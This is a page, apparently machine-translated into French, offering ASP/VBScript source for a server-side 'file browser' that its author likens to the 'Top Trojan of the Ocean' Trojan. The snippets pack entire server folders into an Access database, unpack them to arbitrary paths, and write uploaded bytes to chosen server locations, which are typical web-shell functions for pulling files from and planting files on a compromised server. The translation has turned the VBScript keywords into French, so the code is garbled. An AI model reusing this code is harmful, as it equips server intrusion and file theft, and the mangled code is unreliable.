Il s'agit d'un navigateur de fichiers FSO écrit à l'aide d'objets de collection FSO (si vous insistez pour dire qu'il s'agit d'un cheval de Troie, je n'ai aucune objection sur le plan fonctionnel, il imite le design du "Top Trojan of the Ocean", mais le code est complètement réécrit). . Utilisation de composants tels que Shell.Application qui peuvent facilement provoquer une destruction accidentelle par un logiciel antivirus. Il existe de nombreux outils similaires sur Internet. La valeur d'usage de cet outil n'est pas très grande, mais de nombreux codes qu'il contient sont considérés comme bien écrits.
Les principales fonctionnalités incluent : Affichez les informations sur le disque, parcourez les fichiers du disque et effectuez des opérations similaires à celles de l'Explorateur Windows, telles que la création, la suppression, le renommage, la copie, le déplacement et d'autres opérations de base sur les fichiers texte.
Le téléchargement de fichiers en mode flux simplifie et optimise le packaging/déballage de fichiers de téléchargement sans composants. Un dossier peut être complètement packagé/décompressé.
Extrait de code :
1. Classer la pièce d'emballage/déballage
-
-
- Sous- pack ( ByVal FPath, ByVal sDbPath)
- Serveur.ScriptTimeOut=900
- Faible DbPath
- Si c'est vrai(sDbPath,4)= ".mdb" Alors
- CheminDb=sCheminDb
- Autre
- DbPath=sDbPath ".mdb"
- Fin Si
- Si oFso.FolderExists (DbPath) Alors
- EchoBack "Impossible de créer le fichier de base de données !" &Replace(DbPath, ""," \")
- Sortie Sous
- Fin Si
- Si oFso.FileExists(DbPath) Alors
- oFso.DeleteFile DbPath
- Fin Si
- Si IsFolder (FPath) Alors
- RootPath=GetParentFolder(FPath)
- Si Right(RootPath,1)<> "" Then RootPath=RootPath&" "
- Autre
- EchoBack "Veuillez entrer le chemin du dossier !"
- Sortie Sous
- Fin Si
- Dim oCatalog, connStr, DataName
- Définir conn=Server.CreateObject( "ADODB.Connection" )
- Définir oStream=Server.CreateObject( "ADODB.Stream" )
- Définir oCatalog=Server.CreateObject( "ADOX.Catalog" )
- Définir rs=Server.CreateObject( "ADODB.RecordSet" )
- Sur Erreur CV Suivant
- connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Source de données=" & DbPath
- oCatalog.Créer connStr
- Si erreur alors
- EchoBack "Impossible de créer le fichier de base de données !" &Replace(DbPath, ""," \")
- Sortie Sous
- Fin Si
- Définir oCatalog = Rien
- conn.Ouvrir connStr
- conn.Execute( "Créer des fichiers de table (ID int IDENTITY (0,1) PRIMARY KEY CLUSTERED, FilePath VarChar, FileData Image)" )
- oStream.Ouvrir
- oStream.Type=1
- rs.Ouvrez "Fichiers" , conn, 3,3
- DataName=Gauche(oFso.GetFile(DbPath).Name,InstrRev(oFso.GetFile(DbPath).Name, "." )-1)
- NoPackFiles=Remplacer(NoPackFiles, "<$datafile>" , DataName)
- FailFileList = ""
- PackFolderFPath
- Si FailFilelist = "" Alors
- EchoClose "Emballage du dossier réussi !"
- Autre
- Response.Write "<link rel= stylesheet type= text/css href= ?page=css >"
- Response.Write "<Script Language= JavaScript >alert( Package du dossier terminé !nVoici la liste des fichiers dont le package n'a pas pu être package : );</Script>"
- Response.Write "<body>" &Replace(FailFilelist, "|" , "<br>" ) "</body>"
- Fin Si
- oStream.Fermer
- rs.Fermer
- conn.Fermer
- Fin Sous
-
- Sous- PackFolder (FolderPath)
- Si Pas IsFolder (FolderPath) alors Sortie Sous
- Dim oDossier, sFichier, sDossier
- Définir oFolder=oFso.GetFolder(FolderPath)
- Pour Chaque sFile dans oFolder.Files
- Si InStr(NoPackFiles, "|" &sFile.Name "|" )<1 Alors
- PackFile sFile.Path
- Fin Si
- Suivant
- Définir sFile = Rien
- Pour Chaque sFolder dans oFolder.SubFolders
- PackFolder sFolder.Path
- Suivant
- Définir sFolder = Rien
- Fin Sous
-
- Sous -packFichier (Chemin du fichier)
- Dim RelPath
- RelPath=Remplacer(FilePath,RootPath, "" )
-
- Sur Erreur CV Suivant
- Err.Effacer
- Err = Faux
- oStream.LoadFromFile Chemin du fichier
- rs.AddNew
- rs( "CheminFichier" )=CheminRel
- rs( "FileData" )=oStream.Read()
- rs.Mise à jour
- Si erreur alors
-
- FailFilelist=FailFilelist&FilePath "|"
- Fin Si
- Fin Sous
-
-
- Sous- décompression (vFolderPath, DbPath)
- Serveur.ScriptTimeOut=900
- Dim FilePath, FolderPath, sFolderPath
- FolderPath=vFolderPath
- Chemin du dossier = Couper (Chemin du dossier)
- Si Mid(FolderPath,2,1)<> ":" Alors
- EchoBack "Le format du chemin est incorrect et le répertoire ne peut pas être créé !"
- Sortie Sous
- Fin Si
- Si c'est vrai(FolderPath,1)= "" Puis FolderPath=Left(FolderPath,Len(FolderPath)-1)
- Dim connStr
- Définir conn=Server.CreateObject( "ADODB.Connection" )
- Définir oStream=Server.CreateObject( "ADODB.Stream" )
- Définir rs=Server.CreateObject( "ADODB.RecordSet" )
- connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Source de données=" & DbPath
- Sur Erreur CV Suivant
- Err = Faux
- conn.Ouvrir connStr
- Si erreur alors
- EchoBack "Erreur d'ouverture de la base de données !"
- Sortie Sous
- Fin Si
- Err = Faux
- oStream.Ouvrir
- oStream.Type=1
- rs.Ouvrez "Fichiers" , conn, 1,1
- FailFilelist = ""
- Faire Jusqu'à rs.EOF
- Err.Effacer
- Err = Faux
- FilePath=Chemin du dossier ""&rs(" FilePath")
- FilePath=Remplacer(FilePath, "\"," ")
- sFolderPath=Gauche(FilePath,InStrRev(FilePath, "" ))
- Si Pas oFso.FolderExists(sFolderPath) Alors
- Créer un dossier (sFolderPath)
- Fin Si
- oStream.SetEos()
- oStream.Write rs( "FileData" )
- oStream.SaveToFile FilePath,2
- Si erreur alors
- FailFilelist=FailFilelist&rs( "FilePath" ).Valeur "|"
- Fin Si
- rs.MoveNext
- Boucle
- rs.Fermer
- Définir rs = Rien
- conn.Fermer
- Définir conn= Rien
- Définir oStream = Rien
- Si FailFilelist = "" Alors
- EchoClose "Déballage du fichier réussi !"
- Autre
- Response.Write "<link rel= stylesheet type= text/css href= ?page=css >"
- Response.Write "<Script Language= JavaScript >alert(Emballage du dossier terminé !nCe qui suit est une liste de fichiers dont l'empaquetage n'a pas pu être empaqueté, veuillez vérifier) ;</Script>"
- Response.Write "<body>" &Replace(FailFilelist, "|" , "<br>" ) "</body>"
- Fin Si
- Fin Sous
-
2. Partie téléchargement de fichier (fichier unique) :
- Saveupload ( ByVal FolderName)
- Si Not IsFolder(FolderName) Then
- EchoClose "Aucun dossier de téléchargement spécifié !"
- Sortie Sous
- Fin Si
- Dim Path, IsOverWrite
- Path=FolderName
- Si Right(Path,1)<> "" Then Path=Path&" "
- FileName=Replace(Request( "filename" ), ""," ")
- Si Len(FileName)<1 Then
- EchoBack "Veuillez sélectionner le fichier et saisir le nom du fichier !"
- Sortie Sous
- Fin Si
- Chemin=Chemin
- Si LCase(Request( "overwrite" ))= "true" Alors
- IsOverWrite = True
- Sinon
- IsOverWrite = False
- Fin Si
- Sur Erreur CV Suivant
- Appeler MyUpload (Chemin, IsOverWrite)
- If Err Then
- EchoBack "Le téléchargement du fichier a échoué ! (Le fichier existe peut-être déjà)"
- Else
- EchoClose "Fichier téléchargé avec succès !n" & Remplacer(fileName, "", " \")
- Fin Si
- fin
- sous
-fichier - Sub MyUpload(FilePath,IsOverWrite)
- Dim oStream, tStream, FileName, sData, sSpace, sInfo, iSpaceEnd, iInfoStart, iInfoEnd, iFileStart, iFileEnd, iFileSize, RequestSize, bCrLf
- RequestSize=Request.TotalBytes
- Si RequestSize <1 alors Sortie Sous
- Définir oStream=Server.CreateObject( "ADODB.Stream" )
- Définir le tStream=Server.CreateObject( "ADODB.Stream" )
- Avec oStream
- .Type=1
- .Mode=3
- .Open
- .Write=Request.BinaryRead(RequestSize)
- .Position=0
- sData=.Read
- bCrLf=ChrB(13)&ChrB(10)
- iSpaceEnd=InStrB(sData,bCrLf)-1
- sSpace =LeftB(sData,iSpaceEnd)
- iInfoStart=iSpaceEnd+3
- iInfoEnd=InStrB(iInfoStart,sData,bCrLf&bCrLf)-1
- iFileStart=iInfoEnd+5
- iFileEnd=InStrB(iFileStart,sData,sSpace)-3
- sData= ""
- iFileSize=iFileEnd-iFileStart+1
- tStream.Type=1
- tStream.Mode=3
- tStream.Open
- .Position=iFileStart-1
- .CopyTo tStream,iFileSize
- Si IsOverWrite Alors
- tStream.SaveToFile FilePath,2
- Sinon
- tStream.SaveToFile FilePath
- Fin Si
- tStream.Close
- .Close
- Fin Avec
- SettStream = Rien
- Définir oStream = Rien de
- fin Sous